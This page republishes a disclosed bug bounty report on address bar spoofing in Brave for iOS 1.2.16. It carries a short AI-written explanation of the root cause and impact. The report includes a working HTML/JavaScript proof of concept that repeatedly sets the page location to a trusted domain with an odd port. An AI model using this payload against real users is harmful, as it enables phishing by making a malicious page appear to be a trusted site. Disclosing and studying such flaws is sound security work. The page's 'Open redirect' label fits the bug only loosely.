Skip to content
Open redirect Disclosed report Intermediate

[ios] Address bar spoofing in Brave for iOS

A web page could make Brave for iOS show a spoofed address bar with a trusted domain, which could mislead users about the site.

ibram Follow

Originally disclosed on HackerOne

  • Fixed in 15 hours
  • Paid in 14 hours
  • Disclosed after 6 days

Hey

Summary:

I've found an address bar spoofing vulnerability in the latest version of Brave for iOS.

Products affected:

Brave for iOS 1.2.16

(Android maybe?)

PoC:

HTML
<script>
  var spoof = function(){
      document.write("<h1>This is not Google</h1>");
      document.location = "https://google.com:1234";
      setInterval(function(){document.location="https://google.com:1234";},9800);
  };
</script>

<input type="button" value="Spoof" onclick="spoof();" />

Supporting Material/References:

IMG_3820.PNG
IMG_3820.PNG From the original on HackerOne

Regards, Ibram

The original report as published on HackerOne, by ibram. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the browser did not properly update or lock the address bar when a page repeatedly changed its location to a URL with a non-standard port.

Impact

An attacker could convince users they are on a trusted site.

What the attacker needed

Victim uses Brave for iOS; victim visits a malicious page; victim taps a button

How it was found

  1. Open a malicious web page in Brave for iOS.
  2. Tap the button that triggers the spoofing script.
  3. The script writes fake content and repeatedly sets the location to a trusted domain with a port.
  4. Observe the address bar spoofing effect described in the report.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The address bar shows which website you are on. This report shows a malicious page could make it show a trusted name like google.com even though the page was not really Google.

What is Open redirect?

A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.

More by ibram

View all

1 more disclosed report, best first.

More from Brave Software

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Open redirect

The lesson behind this report.

A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.